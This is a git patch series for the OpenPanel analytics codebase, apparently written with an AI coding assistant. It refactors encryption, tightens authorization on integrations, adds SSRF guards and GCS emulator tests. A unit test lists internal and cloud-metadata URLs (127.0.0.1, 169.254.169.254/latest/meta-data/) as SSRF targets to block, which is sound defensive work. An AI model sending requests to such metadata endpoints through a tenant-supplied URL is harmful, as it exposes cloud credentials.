const iv = combined.subarray(0, IV_LENGTH);
const authTag = combined.subarray(combined.length - AUTH_TAG_LENGTH);
const encryptedData = combined.subarray(
IV_LENGTH,
- combined.length - AUTH_TAG_LENGTH
+ combined.length - AUTH_TAG_LENGTH,
);
-
+
const decipher = createDecipheriv(ALGORITHM, key, iv, {
authTagLength: AUTH_TAG_LENGTH,
});
-
+
decipher.setAuthTag(authTag);
-
+
const decrypted = Buffer.concat([
decipher.update(encryptedData),
decipher.final(),
]);
-
+
return decrypted.toString('utf8');
}
diff --git a/packages/db/src/encryption.ts b/packages/db/src/encryption.ts
index b0835ec06..86e19e0a1 100644
--- a/packages/db/src/encryption.ts
+++ b/packages/db/src/encryption.ts
@@ -1,44 +1,5 @@
-import { createCipheriv, createDecipheriv, randomBytes } from 'node:crypto';
-
-const ALGORITHM = 'aes-256-gcm';
-const IV_LENGTH = 12;
-const TAG_LENGTH = 16;
-const ENCODING = 'base64';
-
-function getKey(): Buffer {
- const raw = process.env.ENCRYPTION_KEY;
- if (!raw) {
- throw new Error('ENCRYPTION_KEY environment variable is not set');
- }
- const buf = Buffer.from(raw, 'hex');
- if (buf.length !== 32) {
- throw new Error(
- 'ENCRYPTION_KEY must be a 64-character hex string (32 bytes)'
- );
- }
- return buf;
-}
-
-export function encrypt(plaintext: string): string {
- const key = getKey();
- const iv = randomBytes(IV_LENGTH);
- const cipher = createCipheriv(ALGORITHM, key, iv);
- const encrypted = Buffer.concat([
- cipher.update(plaintext, 'utf8'),
- cipher.final(),
- ]);
- const tag = cipher.getAuthTag();
- // Format: base64(iv + tag + ciphertext)
- return Buffer.concat([iv, tag, encrypted]).toString(ENCODING);
-}
-
-export function decrypt(ciphertext: string): string {
- const key = getKey();
- const buf = Buffer.from(ciphertext, ENCODING);
- const iv = buf.subarray(0, IV_LENGTH);
- const tag = buf.subarray(IV_LENGTH, IV_LENGTH + TAG_LENGTH);
- const encrypted = buf.subarray(IV_LENGTH + TAG_LENGTH);
- const decipher = createDecipheriv(ALGORITHM, key, iv);
- decipher.setAuthTag(tag);
- return decipher.update(encrypted) + decipher.final('utf8');
-}
+// At-rest encryption lives in @openpanel/common/server so it can be shared by
+// packages that can't depend on db (e.g. @openpanel/integrations). Re-exported
+// here for existing `@openpanel/db` importers (GSC tokens, TOTP). Same key
+// (ENCRYPTION_KEY) and same format as before — no data migration.
+export { encrypt, decrypt } from '@openpanel/common/server';
From 1a477fba1203329d1566603ce4f5c1476ebb9822 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Carl-Gerhard=20Lindesva=CC=88rd?=
Date: Thu, 25 Jun 2026 22:23:24 +0200
Subject: [PATCH 06/15] chore: remove dead integration-registry exports
PR-review cleanup: getDescriptor, descriptorsByKind, zCreateIntegration and
ICreateIntegration in validation/src/integrations.ts had zero callers (the
client derives the catalog from INTEGRATION_DESCRIPTORS directly, isKind uses
the type map directly, and the tRPC create procedure inlines its own
config-required input). The type-safety guards and isKind are unaffected.
Claude-Session: https://claude.ai/code/session_01AWucrxmRqWqgWBvr8cC5cj
---
packages/validation/src/integrations.ts | 24 ------------------------
1 file changed, 24 deletions(-)
diff --git a/packages/validation/src/integrations.ts b/packages/validation/src/integrations.ts
index 063ebb037..1d6f63e9b 100644
--- a/packages/validation/src/integrations.ts
+++ b/packages/validation/src/integrations.ts
@@ -253,22 +253,6 @@ const descriptorByType = new Map(
INTEGRATION_DESCRIPTORS.map((d) => [d.type, d] as const),
);
-export function getDescriptor(type: IIntegrationType): IIntegrationDescriptor {
- const descriptor = descriptorByType.get(type);
- if (!descriptor) {
- throw new Error(`Unknown integration type: ${type}`);
- }
- return descriptor;
-}
-
-export function descriptorsByKind(kind: IIntegrationKind) {
- // kinds is a readonly literal tuple per descriptor; widen for `.includes`
- // (the union of literal tuples otherwise narrows the arg type to never).
- return INTEGRATION_DESCRIPTORS.filter((d) =>
- (d.kinds as readonly IIntegrationKind[]).includes(kind),
- );
-}
-
export function isKind(
config: Pick | { type?: string },
kind: IIntegrationKind,
@@ -305,14 +289,6 @@ const zCreateIntegrationBase = z.object({
projectId: z.string().min(1),
});
-// Generic create input used by the registry-driven tRPC procedure. oauth
-// integrations (slack) create with no config (filled by the callback), so
-// config is optional here and narrowed/validated per-plugin server-side.
-export const zCreateIntegration = zCreateIntegrationBase.extend({
- config: zIntegrationConfig.optional(),
-});
-export type ICreateIntegration = z.infer;
-
export const zCreateSlackIntegration = zCreateIntegrationBase;
export const zCreateWebhookIntegration = zCreateIntegrationBase.extend({
From 6075cfc9d9feb38026284282e3519e6d48dd5a12 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Carl-Gerhard=20Lindesva=CC=88rd?=
Date: Thu, 25 Jun 2026 23:05:53 +0200
Subject: [PATCH 07/15] fix: slack OAuth callback no longer redirects to a
deleted route
Integrations became project-scoped, so the org-level
/$organizationId/integrations/installed route was removed. The slack callback's
projectId-absent fallback still pointed there, 404-ing older in-flight installs
(metadata without projectId). Fall back to the org landing page instead.
Claude-Session: https://claude.ai/code/session_01AWucrxmRqWqgWBvr8cC5cj
---
apps/api/src/controllers/webhook.controller.ts | 6 +++++-
1 file changed, 5 insertions(+), 1 deletion(-)
diff --git a/apps/api/src/controllers/webhook.controller.ts b/apps/api/src/controllers/webhook.controller.ts
index 7d27091d3..f9340547c 100644
--- a/apps/api/src/controllers/webhook.controller.ts
+++ b/apps/api/src/controllers/webhook.controller.ts
@@ -107,10 +107,14 @@ export async function slackWebhook(
const dashboardUrl =
process.env.DASHBOARD_URL || process.env.NEXT_PUBLIC_DASHBOARD_URL;
+ // Integrations are project-scoped; the org-level integrations route no longer
+ // exists. Newer installs carry projectId in their metadata. Older in-flight
+ // installs (started before the project-scoped routes shipped) may lack it —
+ // fall back to the org landing page rather than a now-404 integrations URL.
return reply.redirect(
projectId
? `${dashboardUrl}/${organizationId}/${projectId}/integrations/installed`
- : `${dashboardUrl}/${organizationId}/integrations/installed`
+ : `${dashboardUrl}/${organizationId}`
);
} catch (err) {
request.log.error(err);
From 8d984a71914bc7810017ee55dfab6d3d3ec611aa Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Carl-Gerhard=20Lindesva=CC=88rd?=
Date: Thu, 25 Jun 2026 23:16:37 +0200
Subject: [PATCH 08/15] fix: SSRF guards + cross-project integration update
authz
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Security-review findings (all verified against current code):
- Cross-project update (integration.ts): the generic upsert and the Slack
create/update authorized against the client-supplied input.projectId, so a
user with access to one project could update another project's integration in
the same org. Updates now load the existing row and authorize against ITS
scope via assertIntegrationAccess (project access, or org access for legacy
org-wide rows).
- Webhook SSRF (registry.ts): user-configured webhook URLs were fetched
directly. Now guarded by assertSafeUrl before dispatch.
- S3 custom-endpoint SSRF (s3-adapter.ts): a tenant-controlled endpoint could
point at internal services. The resolved host is now SSRF-checked in
getClient() before connecting (covers upload + testConnection).
assertSafeUrl is a new shared helper in @openpanel/common/server: rejects
non-http(s) schemes and hosts resolving to loopback/private/CGNAT/link-local
(incl. 169.254.169.254 metadata). Skipped on SELF_HOSTED, where the single
operator already controls the network and internal targets are legitimate
(blocking them would regress existing behavior). Adds unit tests.
Skipped: tightening the S3 endpoint zod to https-only — it would break
legitimate self-hosted http MinIO/internal stores, and the runtime guard
(scheme + resolved-IP, cloud-gated) is the actual SSRF protection.
Claude-Session: https://claude.ai/code/session_01AWucrxmRqWqgWBvr8cC5cj
---
packages/common/server/index.ts | 1 +
packages/common/server/ssrf.test.ts | 34 ++++++++++++++++
packages/common/server/ssrf.ts | 32 +++++++++++++++
.../src/object-store/s3-adapter.ts | 7 +++-
packages/trpc/src/routers/integration.ts | 39 +++++++++++++++----
5 files changed, 104 insertions(+), 9 deletions(-)
create mode 100644 packages/common/server/ssrf.test.ts
create mode 100644 packages/common/server/ssrf.ts
diff --git a/packages/common/server/index.ts b/packages/common/server/index.ts
index 78490c5a3..9a2343cd1 100644
--- a/packages/common/server/index.ts
+++ b/packages/common/server/index.ts
@@ -4,3 +4,4 @@ export * from './profileId';
export * from './parser-user-agent';
export * from './parse-referrer';
export * from './id';
+export * from './ssrf';
diff --git a/packages/common/server/ssrf.test.ts b/packages/common/server/ssrf.test.ts
new file mode 100644
index 000000000..d7683fb96
--- /dev/null
+++ b/packages/common/server/ssrf.test.ts
@@ -0,0 +1,34 @@
+import { afterEach, describe, expect, it } from 'vitest';
+import { assertSafeUrl } from './ssrf';
+
+describe('assertSafeUrl', () => {
+ const original = process.env.SELF_HOSTED;
+ afterEach(() => {
+ process.env.SELF_HOSTED = original;
+ });
+
+ it('rejects non-http(s) schemes on the cloud', async () => {
+ process.env.SELF_HOSTED = '';
+ await expect(assertSafeUrl('ftp://example.com')).rejects.toThrow();
+ });
+
+ it('rejects malformed URLs', async () => {
+ process.env.SELF_HOSTED = '';
+ await expect(assertSafeUrl('not a url')).rejects.toThrow();
+ });
+
+ it('rejects literal private / metadata hosts on the cloud', async () => {
+ process.env.SELF_HOSTED = '';
+ await expect(assertSafeUrl('http://127.0.0.1/x')).rejects.toThrow();
+ await expect(assertSafeUrl('http://10.0.0.5/x')).rejects.toThrow();
+ await expect(
+ assertSafeUrl('http://169.254.169.254/latest/meta-data/'),
+ ).rejects.toThrow();
+ await expect(assertSafeUrl('http://[::1]/x')).rejects.toThrow();
+ });
+
+ it('is a no-op on self-hosted (operator controls the network)', async () => {
+ process.env.SELF_HOSTED = 'true';
+ await expect(assertSafeUrl('http://127.0.0.1/x')).resolves.toBeUndefined();
+ });
+});
diff --git a/packages/common/server/ssrf.ts b/packages/common/server/ssrf.ts
new file mode 100644
index 000000000..a8632d864
--- /dev/null
+++ b/packages/common/server/ssrf.ts
@@ -0,0 +1,32 @@
+import { assertPublicUrl } from './safe-fetch';
+
+/**
+ * Guard a stored, tenant-supplied URL that we are about to connect to with a
+ * client we don't control the transport of (the AWS SDK, a TLS probe). When the
+ * request goes through `fetch`, prefer `safeFetch` from `./safe-fetch`: it pins
+ * the socket to the address it validated and re-checks every redirect hop,
+ * neither of which is possible from the outside.
+ *
+ * Skipped on self-hosted deployments: there's a single tenant who already
+ * controls the network, and reaching internal services (e.g. an internal MinIO
+ * or webhook receiver) is a legitimate, pre-existing use. The guard exists to
+ * stop cross-tenant SSRF on the managed/multi-tenant cloud.
+ *
+ * Note: DNS is resolved here and again by the client, so a deliberate DNS-rebind
+ * between the two is not covered; this stops the common cases (literal
+ * private/metadata URLs and hostnames pointing at internal IPs).
+ */
+export async function assertSafeUrl(rawUrl: string): Promise {
+ if (process.env.SELF_HOSTED) {
+ return;
+ }
+
+ let url: URL;
+ try {
+ url = new URL(rawUrl);
+ } catch {
+ throw new Error('Invalid URL');
+ }
+
+ await assertPublicUrl(url);
+}
diff --git a/packages/integrations/src/object-store/s3-adapter.ts b/packages/integrations/src/object-store/s3-adapter.ts
index 2db5e4c4e..edb372253 100644
--- a/packages/integrations/src/object-store/s3-adapter.ts
+++ b/packages/integrations/src/object-store/s3-adapter.ts
@@ -5,7 +5,7 @@ import {
S3Client,
} from '@aws-sdk/client-s3';
import { AssumeRoleCommand, STSClient } from '@aws-sdk/client-sts';
-import { decryptCredential } from '@openpanel/common/server';
+import { assertSafeUrl, decryptCredential } from '@openpanel/common/server';
import { createLogger } from '@openpanel/logger';
import type { IS3ExportConfig } from '@openpanel/validation';
@@ -44,6 +44,11 @@ export class S3Adapter implements IObjectStoreAdapter {
* Get or create an S3 client based on auth mode
*/
private async getClient(): Promise {
+ // A custom endpoint is tenant-controlled; SSRF-guard the resolved host
+ // before connecting (no-op on self-hosted). Default AWS endpoints are safe.
+ if (this.config.endpoint) {
+ await assertSafeUrl(this.config.endpoint);
+ }
if (this.config.authMode === 'iam_role') {
return this.getClientWithAssumedRole();
}
diff --git a/packages/trpc/src/routers/integration.ts b/packages/trpc/src/routers/integration.ts
index c0ff06c4e..9f30e21bc 100644
--- a/packages/trpc/src/routers/integration.ts
+++ b/packages/trpc/src/routers/integration.ts
@@ -42,10 +42,21 @@ async function upsertIntegration(
config: IIntegrationConfig;
},
) {
- const organizationId = await assertProjectAccessAndGetOrg(
- userId,
- input.projectId,
- );
+ // Authorize first. For an update, authorize against the EXISTING integration's
+ // scope — not the attacker-controlled input.projectId — so a user with access
+ // to one project can't update another project's integration in the same org.
+ let organizationId: string;
+ if (input.id) {
+ const existing = await db.integration.findUniqueOrThrow({
+ where: { id: input.id },
+ select: { projectId: true, organizationId: true },
+ });
+ await assertIntegrationAccess(userId, existing);
+ organizationId = existing.organizationId;
+ } else {
+ organizationId = await assertProjectAccessAndGetOrg(userId, input.projectId);
+ }
+
const plugin = getServerIntegration(input.config.type);
const validation = plugin.validateConfig?.(input.config);
@@ -136,10 +147,22 @@ export const integrationRouter = createTRPCRouter({
createOrUpdateSlack: protectedProcedure
.input(zCreateSlackIntegration)
.mutation(async ({ input, ctx }) => {
- const organizationId = await assertProjectAccessAndGetOrg(
- ctx.session.userId,
- input.projectId,
- );
+ // For an update, authorize against the existing integration's scope so a
+ // user can't clear/re-install another project's Slack integration.
+ let organizationId: string;
+ if (input.id) {
+ const existing = await db.integration.findUniqueOrThrow({
+ where: { id: input.id },
+ select: { projectId: true, organizationId: true },
+ });
+ await assertIntegrationAccess(ctx.session.userId, existing);
+ organizationId = existing.organizationId;
+ } else {
+ organizationId = await assertProjectAccessAndGetOrg(
+ ctx.session.userId,
+ input.projectId,
+ );
+ }
const res = input.id
? await db.integration.update({
From fb5b9373aedb0ba8b6bdd3052567cbe172e8d8ab Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Carl-Gerhard=20Lindesva=CC=88rd?=
Date: Wed, 26 Aug 2026 20:56:12 +0200
Subject: [PATCH 09/15] chore(db): renumber migrations after rebase onto main
main landed migrations up to 20260825120100 and code-migration 20 while
this branch was open, so the two Prisma migrations and the ClickHouse
code-migration added here sorted *before* them and code-migration 18 was
a duplicate number.
Renumbered to sort last; contents unchanged. None of these have been
deployed, so renaming the directories is safe.
---
...{18-add-events-inserted-at.ts => 21-add-events-inserted-at.ts} | 0
.../migration.sql | 0
.../migration.sql | 0
3 files changed, 0 insertions(+), 0 deletions(-)
rename packages/db/code-migrations/{18-add-events-inserted-at.ts => 21-add-events-inserted-at.ts} (100%)
rename packages/db/prisma/migrations/{20260622204749_export_watermarks => 20260826120000_export_watermarks}/migration.sql (100%)
rename packages/db/prisma/migrations/{20260623092702_integration_project_scope => 20260826120100_integration_project_scope}/migration.sql (100%)
diff --git a/packages/db/code-migrations/18-add-events-inserted-at.ts b/packages/db/code-migrations/21-add-events-inserted-at.ts
similarity index 100%
rename from packages/db/code-migrations/18-add-events-inserted-at.ts
rename to packages/db/code-migrations/21-add-events-inserted-at.ts
diff --git a/packages/db/prisma/migrations/20260622204749_export_watermarks/migration.sql b/packages/db/prisma/migrations/20260826120000_export_watermarks/migration.sql
similarity index 100%
rename from packages/db/prisma/migrations/20260622204749_export_watermarks/migration.sql
rename to packages/db/prisma/migrations/20260826120000_export_watermarks/migration.sql
diff --git a/packages/db/prisma/migrations/20260623092702_integration_project_scope/migration.sql b/packages/db/prisma/migrations/20260826120100_integration_project_scope/migration.sql
similarity index 100%
rename from packages/db/prisma/migrations/20260623092702_integration_project_scope/migration.sql
rename to packages/db/prisma/migrations/20260826120100_integration_project_scope/migration.sql
From 1c827d0a17ede618cbce7423b42707f5075636bf Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Carl-Gerhard=20Lindesva=CC=88rd?=
Date: Wed, 26 Aug 2026 21:04:43 +0200
Subject: [PATCH 10/15] fix(integrations): gate mutations on project write
access
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
The router authorized every procedure by testing `getProjectAccess` /
`getOrganizationAccess` for truthiness, which only proves membership. A
read-only project member could create, update and delete integrations —
the pattern main's access ladder (GHSA-f9rx-pxgw-c6rg) replaced.
- create / update / delete now require `level: 'write'`; `get` and `list`
stay at `'read'`.
- Legacy org-wide rows (projectId null) have no project access level to
consult and are shared by every project in the org, so writing to one is
admin-tier; reading still only needs membership.
- `testConnection` / `testExportConnection` had no check at all. They make
the server connect outbound to a caller-supplied destination with
caller-supplied credentials, so they now take a projectId and require
write access too.
---
.../forms/discord-integration.tsx | 1 +
packages/trpc/src/routers/integration.ts | 115 +++++++++++++-----
2 files changed, 85 insertions(+), 31 deletions(-)
diff --git a/apps/start/src/components/integrations/forms/discord-integration.tsx b/apps/start/src/components/integrations/forms/discord-integration.tsx
index 985253d96..a28a8c622 100644
--- a/apps/start/src/components/integrations/forms/discord-integration.tsx
+++ b/apps/start/src/components/integrations/forms/discord-integration.tsx
@@ -64,6 +64,7 @@ export function DiscordIntegrationForm({
return toast.error('Webhook URL is required');
}
const res = await testMutation.mutateAsync({
+ projectId,
config: { type: 'discord', url },
});
if (res.success) {
diff --git a/packages/trpc/src/routers/integration.ts b/packages/trpc/src/routers/integration.ts
index 9f30e21bc..f29cbccc5 100644
--- a/packages/trpc/src/routers/integration.ts
+++ b/packages/trpc/src/routers/integration.ts
@@ -12,17 +12,23 @@ import {
zCreateSlackIntegration,
zIntegrationConfig,
} from '@openpanel/validation';
-import { getOrganizationAccess, getProjectAccess } from '../access';
+import {
+ getOrganizationAccess,
+ requireOrganizationAdmin,
+ requireProjectAccess,
+} from '../access';
import { TRPCForbiddenError, TRPCBadRequestError } from '../errors';
import { createTRPCRouter, protectedProcedure } from '../trpc';
-// Assert the user can access the project, and return the project's
+// Assert the user can act on the project at `level`, and return the project's
// organizationId (still stored on the integration for org-level queries/cascades).
-async function assertProjectAccessAndGetOrg(userId: string, projectId: string) {
- const access = await getProjectAccess({ userId, projectId });
- if (!access) {
- throw new TRPCForbiddenError('You do not have access to this project');
- }
+async function assertProjectAccessAndGetOrg(
+ userId: string,
+ projectId: string,
+ level: 'read' | 'write',
+) {
+ await requireProjectAccess({ userId, projectId, level });
+
const project = await db.project.findUniqueOrThrow({
where: { id: projectId },
select: { organizationId: true },
@@ -51,10 +57,14 @@ async function upsertIntegration(
where: { id: input.id },
select: { projectId: true, organizationId: true },
});
- await assertIntegrationAccess(userId, existing);
+ await assertIntegrationAccess(userId, existing, 'write');
organizationId = existing.organizationId;
} else {
- organizationId = await assertProjectAccessAndGetOrg(userId, input.projectId);
+ organizationId = await assertProjectAccessAndGetOrg(
+ userId,
+ input.projectId,
+ 'write',
+ );
}
const plugin = getServerIntegration(input.config.type);
@@ -88,18 +98,37 @@ async function upsertIntegration(
});
}
-// Access check for an existing integration of either scope: project-scoped rows
-// check project access; legacy org-wide rows (projectId null) check org access.
+// Access check for an existing integration of either scope. Project-scoped rows
+// go through the project ladder; legacy org-wide rows (projectId null) have no
+// project access level to consult, so a write to one — it is shared by every
+// project in the org — is admin-tier, while a read only needs membership.
async function assertIntegrationAccess(
userId: string,
integration: { projectId: string | null; organizationId: string },
+ level: 'read' | 'write',
) {
- const access = integration.projectId
- ? await getProjectAccess({ userId, projectId: integration.projectId })
- : await getOrganizationAccess({
- userId,
- organizationId: integration.organizationId,
- });
+ if (integration.projectId) {
+ await requireProjectAccess({
+ userId,
+ projectId: integration.projectId,
+ level,
+ });
+ return;
+ }
+
+ if (level === 'write') {
+ await requireOrganizationAdmin({
+ userId,
+ organizationId: integration.organizationId,
+ message: 'Only organization admins can change an org-wide integration',
+ });
+ return;
+ }
+
+ const access = await getOrganizationAccess({
+ userId,
+ organizationId: integration.organizationId,
+ });
if (!access) {
throw new TRPCForbiddenError('You do not have access to this integration');
}
@@ -115,7 +144,7 @@ export const integrationRouter = createTRPCRouter({
},
});
- await assertIntegrationAccess(ctx.session.userId, integration);
+ await assertIntegrationAccess(ctx.session.userId, integration, 'read');
return integration;
}),
@@ -125,6 +154,7 @@ export const integrationRouter = createTRPCRouter({
const organizationId = await assertProjectAccessAndGetOrg(
ctx.session.userId,
input.projectId,
+ 'read',
);
const integrations = await db.integration.findMany({
@@ -155,12 +185,13 @@ export const integrationRouter = createTRPCRouter({
where: { id: input.id },
select: { projectId: true, organizationId: true },
});
- await assertIntegrationAccess(ctx.session.userId, existing);
+ await assertIntegrationAccess(ctx.session.userId, existing, 'write');
organizationId = existing.organizationId;
} else {
organizationId = await assertProjectAccessAndGetOrg(
ctx.session.userId,
input.projectId,
+ 'write',
);
}
@@ -212,25 +243,47 @@ export const integrationRouter = createTRPCRouter({
createOrUpdateExport: protectedProcedure
.input(z.union([zCreateS3ExportIntegration, zCreateGCSExportIntegration]))
.mutation(({ input, ctx }) => upsertIntegration(ctx.session.userId, input)),
- // Generic, registry-driven connection test.
+ // Generic, registry-driven connection test. Gated on project write access:
+ // it makes the server connect outbound to a caller-supplied destination with
+ // caller-supplied credentials, so it must not be reachable by anyone who
+ // merely holds a session.
testConnection: protectedProcedure
- .input(z.object({ config: zIntegrationConfig }))
- .mutation(
- async ({ input }) =>
+ .input(
+ z.object({
+ projectId: z.string().min(1),
+ config: zIntegrationConfig,
+ }),
+ )
+ .mutation(async ({ input, ctx }) => {
+ await requireProjectAccess({
+ userId: ctx.session.userId,
+ projectId: input.projectId,
+ level: 'write',
+ });
+
+ return (
(await getServerIntegration(input.config.type).testConnection?.(
input.config,
- )) ?? { success: true },
- ),
- // Back-compat alias for the export forms.
+ )) ?? { success: true }
+ );
+ }),
+ // Back-compat alias for the export forms; same gate as `testConnection`.
// TODO: remove once the dashboard calls `testConnection` directly.
testExportConnection: protectedProcedure
.input(z.union([zCreateS3ExportIntegration, zCreateGCSExportIntegration]))
- .mutation(
- async ({ input }) =>
+ .mutation(async ({ input, ctx }) => {
+ await requireProjectAccess({
+ userId: ctx.session.userId,
+ projectId: input.projectId,
+ level: 'write',
+ });
+
+ return (
(await getServerIntegration(input.config.type).testConnection?.(
input.config,
- )) ?? { success: false, error: 'Unknown export type' },
- ),
+ )) ?? { success: false, error: 'Unknown export type' }
+ );
+ }),
delete: protectedProcedure
.input(z.object({ id: z.string() }))
.mutation(async ({ input: { id }, ctx }) => {
@@ -240,7 +293,7 @@ export const integrationRouter = createTRPCRouter({
},
});
- await assertIntegrationAccess(ctx.session.userId, integration);
+ await assertIntegrationAccess(ctx.session.userId, integration, 'write');
return db.integration.delete({
where: {
From 11e293bfb4e969ceb4487fde14bef8d3d5721498 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Carl-Gerhard=20Lindesva=CC=88rd?=
Date: Wed, 26 Aug 2026 21:14:12 +0200
Subject: [PATCH 11/15] test(integrations): cover the GCS export path against a
real GCS API
Only the S3-compatible path had been exercised. The Google SDK has no
in-process double and real GCS needs live credentials, so these run
against a local fake-gcs-server and skip when it isn't reachable.
Two bugs the tests turned up:
- `testConnection` used `bucket.exists()`, which needs
`storage.buckets.get`. The least-privilege grant for an export target
(roles/storage.objectCreator / objectAdmin) does not include it, so a
correctly configured bucket failed setup with a 403 while the export
itself would have worked. It now writes and removes a probe object,
exercising the permission the export actually needs, and maps 404/403
to a message that says what to do.
- `upload` re-read `file.getMetadata()` purely for the etag, doubling the
request count of every export. `save` already populates `file.metadata`.
Also adds a `GCS_API_ENDPOINT` override so the client can be pointed at an
emulator. The SDK's own STORAGE_EMULATOR_HOST is unusable on v7: it
rewrites the JSON API base but not the upload base, so uploads and
metadata reads cannot both resolve.
Drops a duplicate @openpanel/common key in the package manifest (a rebase
artifact) and moves @openpanel/logger to dependencies, where the adapters
import it at runtime.
---
.../src/jobs/cron.flush-exports.test.ts | 143 +++++++++++
packages/integrations/package.json | 5 +-
.../src/object-store/gcs-adapter.test.ts | 227 ++++++++++++++++++
.../src/object-store/gcs-adapter.ts | 66 +++--
pnpm-lock.yaml | 8 +-
5 files changed, 427 insertions(+), 22 deletions(-)
create mode 100644 apps/worker/src/jobs/cron.flush-exports.test.ts
create mode 100644 packages/integrations/src/object-store/gcs-adapter.test.ts
diff --git a/apps/worker/src/jobs/cron.flush-exports.test.ts b/apps/worker/src/jobs/cron.flush-exports.test.ts
new file mode 100644
index 000000000..c787c77ef
--- /dev/null
+++ b/apps/worker/src/jobs/cron.flush-exports.test.ts
@@ -0,0 +1,143 @@
+import { gunzipSync } from 'node:zlib';
+import {
+ clickhouseEventToExportEvent,
+ createBatch,
+ createManifest,
+ generateBatchPath,
+ MANIFEST_CONTENT_TYPE,
+ MANIFEST_FILENAME,
+ parseManifest,
+ serializeManifest,
+} from '@openpanel/db/src/exports';
+import { createGCSAdapter } from '@openpanel/integrations/src/object-store';
+import { describe, expect, it } from 'vitest';
+
+/**
+ * Exercises the object-store export path end to end against a local
+ * fake-gcs-server (see gcs-adapter.test.ts for how to start it). The job's own
+ * ClickHouse/Postgres I/O is out of scope here; what this pins down is the part
+ * a consumer depends on — batch files land, then a manifest that points at
+ * them, under the partitioned path.
+ *
+ * Skips when the emulator isn't reachable.
+ */
+const EMULATOR = process.env.GCS_API_ENDPOINT ?? 'http://localhost:4443';
+const BUCKET = 'op-flush-exports-test';
+
+async function emulatorReachable(): Promise {
+ try {
+ const res = await fetch(`${EMULATOR}/storage/v1/b`, {
+ signal: AbortSignal.timeout(2000),
+ });
+ return res.ok;
+ } catch {
+ return false;
+ }
+}
+
+const available = await emulatorReachable();
+
+const KEY = JSON.stringify({
+ type: 'service_account',
+ project_id: 'openpanel-test',
+ client_email: 'e@x.iam.gserviceaccount.com',
+});
+
+const chEvent = (i: number) =>
+ ({
+ id: `00000000-0000-0000-0000-00000000000${i}`,
+ project_id: 'proj_1',
+ name: 'screen_view',
+ created_at: `2026-08-26 10:0${i}:00.000`,
+ inserted_at: `2026-08-26 11:0${i}:00.000`,
+ profile_id: `user_${i}`,
+ device_id: `dev_${i}`,
+ session_id: `sess_${i}`,
+ properties: { __path: `/p/${i}`, n: i },
+ country: 'SE',
+ city: 'Stockholm',
+ region: 'AB',
+ os: 'macOS',
+ browser: 'Chrome',
+ device: 'desktop',
+ path: `/p/${i}`,
+ origin: 'https://openpanel.dev',
+ referrer: '',
+ }) as never;
+
+describe.skipIf(!available)('flush-exports -> GCS end to end', () => {
+ it('writes batch files then a manifest that points at them', async () => {
+ process.env.GCS_API_ENDPOINT = EMULATOR;
+ await fetch(`${EMULATOR}/storage/v1/b`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ name: BUCKET }),
+ });
+
+ const config = {
+ type: 'gcs_export' as const,
+ bucket: BUCKET,
+ prefix: 'openpanel-exports',
+ format: 'jsonl_gzip' as const,
+ serviceAccountKey: KEY,
+ };
+ const adapter = createGCSAdapter(config);
+
+ // --- exactly what processExport() does ---
+ const events = [1, 2, 3].map(chEvent).map(clickhouseEventToExportEvent);
+ const batch = await createBatch('proj_1', 'int_1', events, 'jsonl_gzip');
+ const basePath = generateBatchPath(
+ config.prefix,
+ 'proj_1',
+ 'int_1',
+ batch.info.batchId,
+ new Date(batch.info.minEventTime),
+ );
+
+ for (const file of batch.files) {
+ await adapter.upload({
+ bucket: config.bucket,
+ key: `${basePath}/${file.filename}`,
+ content: file.content,
+ contentType: file.contentType,
+ });
+ }
+ const manifest = createManifest(
+ batch.info,
+ batch.files.map((f) => f.filename),
+ );
+ await adapter.upload({
+ bucket: config.bucket,
+ key: `${basePath}/${MANIFEST_FILENAME}`,
+ content: serializeManifest(manifest),
+ contentType: MANIFEST_CONTENT_TYPE,
+ });
+ // --- end ---
+
+ const read = async (key: string) => {
+ const res = await fetch(
+ `${EMULATOR}/storage/v1/b/${BUCKET}/o/${encodeURIComponent(key)}?alt=media`,
+ );
+ expect(res.ok).toBe(true);
+ return Buffer.from(await res.arrayBuffer());
+ };
+
+ const storedManifest = parseManifest(
+ (await read(`${basePath}/${MANIFEST_FILENAME}`)).toString(),
+ );
+ expect(storedManifest.record_count).toBe(3);
+ expect(storedManifest.files).toEqual(['part-0000.jsonl.gz']);
+ expect(storedManifest.partition_date).toBe('2026-08-26');
+
+ const lines = gunzipSync(await read(`${basePath}/${storedManifest.files[0]}`))
+ .toString()
+ .trim()
+ .split('\n')
+ .map((l) => JSON.parse(l));
+
+ expect(lines).toHaveLength(3);
+ expect(lines[0].event_name).toBe('screen_view');
+ expect(lines[0].project_id).toBe('proj_1');
+ expect(lines.map((l) => l.path)).toEqual(['/p/1', '/p/2', '/p/3']);
+ }, 60_000);
+});
diff --git a/packages/integrations/package.json b/packages/integrations/package.json
index 526e46d09..418f549fa 100644
--- a/packages/integrations/package.json
+++ b/packages/integrations/package.json
@@ -12,13 +12,12 @@
"@google-cloud/storage": "^7.18.0",
"@openpanel/common": "workspace:*",
"@openpanel/js-runtime": "workspace:*",
+ "@openpanel/logger": "workspace:*",
"@openpanel/validation": "workspace:*",
"@slack/bolt": "^3.18.0",
- "@slack/oauth": "^3.0.0",
- "@openpanel/common": "workspace:*"
+ "@slack/oauth": "^3.0.0"
},
"devDependencies": {
- "@openpanel/logger": "workspace:*",
"@openpanel/tsconfig": "workspace:*",
"@types/node": "catalog:",
"typescript": "catalog:"
diff --git a/packages/integrations/src/object-store/gcs-adapter.test.ts b/packages/integrations/src/object-store/gcs-adapter.test.ts
new file mode 100644
index 000000000..0673cd2ae
--- /dev/null
+++ b/packages/integrations/src/object-store/gcs-adapter.test.ts
@@ -0,0 +1,227 @@
+import { gunzipSync, gzipSync } from 'node:zlib';
+import { encryptCredential } from '@openpanel/common/server';
+import { beforeAll, describe, expect, it } from 'vitest';
+import { createGCSAdapter } from './gcs-adapter';
+
+/**
+ * Integration tests for the GCS adapter, run against a local fake-gcs-server.
+ *
+ * The Google SDK offers no in-process test double and real GCS needs live
+ * credentials, so this is the only way to prove the adapter actually speaks the
+ * GCS API rather than merely type-checking. Start the emulator with:
+ *
